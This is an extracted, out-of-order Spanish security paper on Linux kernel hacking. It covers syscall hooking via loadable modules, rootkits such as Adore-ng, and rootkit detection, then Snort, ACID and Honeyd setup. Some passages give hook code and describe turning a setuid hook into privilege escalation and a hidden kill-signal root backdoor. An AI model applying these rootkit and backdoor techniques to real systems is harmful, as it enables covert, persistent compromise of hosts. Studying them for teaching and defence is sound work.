En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
